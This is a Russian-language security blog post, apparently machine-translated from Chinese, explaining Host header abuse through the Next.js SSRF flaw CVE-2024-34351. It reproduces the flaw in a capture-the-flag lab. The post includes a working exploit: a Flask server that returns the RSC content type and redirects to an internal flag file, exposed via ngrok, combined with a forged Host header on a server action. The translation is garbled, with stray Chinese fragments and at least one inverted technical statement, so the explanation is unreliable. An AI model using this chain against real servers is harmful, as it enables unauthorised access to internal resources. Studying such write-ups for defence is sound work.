Это сообщение в блоге «от 0 до 1 Узнать Тестирование безопасности》серединаПовторение уязвимостиСерия №1пятьсообщения в блоге,Основное содержание — этопроходить Аудит кода и воспроизведение сценариев NextJS уязвимость безопасности (CVE-2024-34351) для описания злоупотреблений Host Опасности для головы,Предыдущую серию статей можно найти на странице блоггера. Тестирование безопасности Столбец;
Торжественное заявление: технология, обсуждаемая в этом сообщении в блоге, предназначена только для исследований и изучения. Она предназначена для повышения осведомленности читателей об информационной безопасности и улучшения навыков защиты информации. Ее использование в незаконных целях строго запрещено. Любое лицо, группа или организация не может использовать его в незаконных целях, а незаконные преступления будут строго наказываться по закону.
Когда вы вводите URL-адрес в своем браузере и нажимаете Enter, ваш браузер отправит HTTP-запрос на соответствующий сервер для получения содержимого веб-страницы. В этом HTTP-запросе будет поле «Хост», «Хост». идентифицирует имя хоста или имя домена, к которым осуществляется доступ в HTTP-запросе.
В протоколе HTTP/1.1 это поле является обязательным и сообщает серверу, на какой конкретный хост отправляется запрос.
В приведенном выше трафике значение поля «Хост» — «www.baidu.com», что сообщает серверу, что текущий запрос направлен на получение ресурсов на www.baidu.com.
Когда пользователь запрашивает веб-сайт через доменное имя, сначала выполняется DNS-запрос для преобразования доменного имени в соответствующий IP-адрес. В традиционном режиме IP-адрес может соответствовать только одному порту сервера, обычно используется порт по умолчанию 80 или 443. Однако мы хотим запустить несколько веб-сайтов на одном сервере. Как этого добиться?
Одним из решений является использование поля «Хост» в заголовке HTTP-запроса, чтобы отличать веб-сайт, который посещает пользователь. Сервер может перенаправить запрос на соответствующий веб-сайт на основе поля «Хост», чтобы на одном сервере можно было управлять несколькими веб-сайтами.
В обычных обстоятельствах заголовок Host используется для указания имени домена, к которому обращается пользователь. Однако злоумышленник может изменить заголовок Host, чтобы заставить сервер думать, что пользователь обращается к доверенному доменному имени, тем самым минуя проверку безопасности. .
В частности, злоумышленник может создать вредоносный заголовок Host, установив для него имя доверенного домена на целевом сервере. Когда сервер получает запрос, он определяет сайт, который посетил пользователь, на основе заголовка Host и выполняет соответствующую логику. Злоумышленник может использовать эту уязвимость для выполнения несанкционированных операций, таких как доступ к конфиденциальным данным, выполнение вредоносного кода и т. д.
Злоупотребление хостом может вызвать некоторые из следующих повреждений:
Далее мы возьмем CVE-2024-34351 в качестве примера для подробного объяснения. Это уязвимость безопасности, исходящая от NextJS. Уязвимость используется путем запуска SSRF через злонамеренно созданный заголовок Host.
NextJS — это одновременно клиентская библиотека и полнофункциональная серверная среда, но эта функция дает хакерам возможность воспользоваться ею. Когда пользователь вызывает интерфейс сервера, и сервер отвечает перенаправлением, он вызывает следующую функцию:
async function createRedirectRenderResult(
req: IncomingMessage,
res: ServerResponse,
redirectUrl: string,
basePath: string,
staticGenerationStore: StaticGenerationStore
) {
...
if (redirectUrl.startsWith('/')) {
...
const host = req.headers['host']
...
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
...
try {
const headResponse = await fetch(fetchUrl, {
method: 'HEAD',
headers: forwardedHeaders,
next: {
// @ts-ignore
internal: 1,
},
})
if (
headResponse.headers.get('content-type') === RSC_CONTENT_TYPE_HEADER
) {
const response = await fetch(fetchUrl, {
method: 'GET',
headers: forwardedHeaders,
next: {
// @ts-ignore
internal: 1,
},
})
...
return new FlightRenderResult(response.body!)
}
} catch (err) {
...
}
}
return RenderResult.fromStatic('{}')
}
Согласно приведенному выше коду можно обнаружить, что если путь перенаправления начинается с /
Первоначально сервер запросит fetchUrl
Ресурс возвращается клиенту вместо перенаправления клиента непосредственно на fetchUrl
。
и fetchUrl
Целевой адрес взят точно из заголовка запроса клиента. Host параметр:
const host = req.headers['host']
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
Если мы фальсифицируем указание на внутренний хост Host Заголовок, NextJS попытается получить ответ от этого хоста, а не от самого приложения, в результате чего SSRF。
Ниже мы объясним это с помощью воспроизведения сцен, что также может углубить понимание читателей.
Теперь есть WEB-программа со следующей структурой каталогов:
Archive: log-action.zip
creating: log-action/
creating: log-action/backend/
inflating: log-action/backend/flag.txt
inflating: log-action/docker-compose.yml
creating: log-action/frontend/
inflating: log-action/frontend/.gitignore
inflating: log-action/frontend/Dockerfile
inflating: log-action/frontend/entrypoint.sh
inflating: log-action/frontend/next-env.d.ts
inflating: log-action/frontend/next.config.mjs
inflating: log-action/frontend/package-lock.json
inflating: log-action/frontend/package.json
inflating: log-action/frontend/postcss.config.mjs
creating: log-action/frontend/src/
creating: log-action/frontend/src/app/
creating: log-action/frontend/src/app/admin/
inflating: log-action/frontend/src/app/admin/page.tsx
inflating: log-action/frontend/src/app/global.css
inflating: log-action/frontend/src/app/layout.tsx
creating: log-action/frontend/src/app/login/
inflating: log-action/frontend/src/app/login/page.tsx
creating: log-action/frontend/src/app/logout/
inflating: log-action/frontend/src/app/logout/page.tsx
inflating: log-action/frontend/src/app/page.tsx
inflating: log-action/frontend/src/auth.config.ts
inflating: log-action/frontend/src/auth.ts
creating: log-action/frontend/src/lib/
inflating: log-action/frontend/src/lib/actions.ts
inflating: log-action/frontend/src/middleware.ts
inflating: log-action/frontend/tailwind.config.ts
inflating: log-action/frontend/tsconfig.json
Наша цель – получить log-action/backend/flag.txt
содержимое внутри. текущий log-action/backend/flag.txt
проходить Nginx монтировать на /usr/share/nginx/html/flag.txt
,поэтому,Нам просто нужно попасть внутрь Nginx, вы можете получить доступ http://<задняя частьIP>/flag.txt
чтобы получить содержимое файла.
Используется здесь Next.js в работе сервера SSRF Уязвимость (CVE-2024-34351). Когда мы вызываем действие сервера, оно будет использовать асинхронную функцию. createRedirectRenderResult()
ответить на перенаправление。Tip: Анализировал выше.
и WEB Страница выхода из исходного кода приложения log-action/frontend/src/app/logout/page.tsx
Просто соответствует вышеуказанным условиям, использует работу сервера "use server";
и redirect()
функция перенаправляет клиента на /login
。
Когда мы нажимаем кнопку «Выйти» на странице выхода, он отправляет следующий POST-запрос:
Поскольку путь перенаправления заканчивается на /
Вначале он сначала получает ответ по пути перенаправления, а затем возвращает ответ клиенту. Он не перенаправляется непосредственно клиенту, поэтому мы можем использовать эту функцию, чтобы позволить серверу использовать ее. Host
Голова, чтобы получить любой ресурс из любого источника.
Создайте приложение Flask локально с помощью следующего кода:
from flask import Flask, request, Response
app = Flask(__name__)
@app.route('/login')
def exploit():
if request.method == 'HEAD':
response = Response()
response.headers['Content-Type'] = 'text/x-component'
return response
elif request.method == 'GET':
return 'After CORS preflight check'
if __name__ == '__main__':
app.run(port=80, debug=True)
Tip Маршрутизация в коде
/login
Никаких проблем, потому что наше следующее действиеredirect("/login")
。<br/> Это NextJS свойства, он использует Next-Action ID чтобы однозначно идентифицировать действие, которое мы хотим предпринять следующим, поэтому, пока мы передаем соответствующее Next-Action Заголовок инициирует действие, и вам не нужно беспокоиться о конкретной маршрутизации.
проходить ngrok Чтобы выполнить переадресацию портов:
Forwarding https://1593-{REDACTED}.ngrok-free.app -> http://localhost:80
Отправить повторно /logout
запрос, результаты запроса следующие:
Можно обнаружить, что мы успешно получили тело ответа, осталось только изменить его на Flask код, который преобразует серверную часть fetch
Просто перенаправьте на нужный нам ресурс. Измените код следующим образом:
@app.route('/login')
def exploit():
if request.method == 'HEAD':
...
elif request.method == 'GET':
ip = «Верхний IP-адрес»
return redirect(f'http://{ip}/flag.txt')
Результаты запуска:
Чтобы устранить эту уязвимость, разработчикам следует Host Заголовок строго проверяется и фильтруется, чтобы гарантировать, что принимаются только доверенные доменные имена и недопустимые. Host Направляйтесь к отклонению или соответствующей обработке.
существовать本文середина,Наш анализ NextJS SSRF Уязвимость (CVE-2024-34351), демонстрирующая злоупотребления Host Вред, причиненный головой. эта пара Host 的Введение концепциии Опасности Мы надеемся, что благодаря подробному обсуждению злоупотреблений читатели смогут углубить свое понимание этого вопроса и уделять больше внимания разработке и сопровождению приложений. Host Безопасное использование головок.
Выше это сообщение в блоге от NextJS SSRF Посмотрите на лазейки Host Опасности жестокого обращения с головой Весь контент, надеюсь, этот пост в блоге будет полезен всем! Приветствуем всех, продолжайте концентрироваться на Мой блог, давайте делиться радостью от обучения и роста вместе! ✨
Торжественное заявление: технология, обсуждаемая в этом сообщении в блоге, предназначена только для исследований и изучения. Она предназначена для повышения осведомленности читателей об информационной безопасности и улучшения навыков защиты информации. Ее использование в незаконных целях строго запрещено. Любое лицо, группа или организация не может использовать его в незаконных целях, а незаконные преступления будут строго наказываться по закону.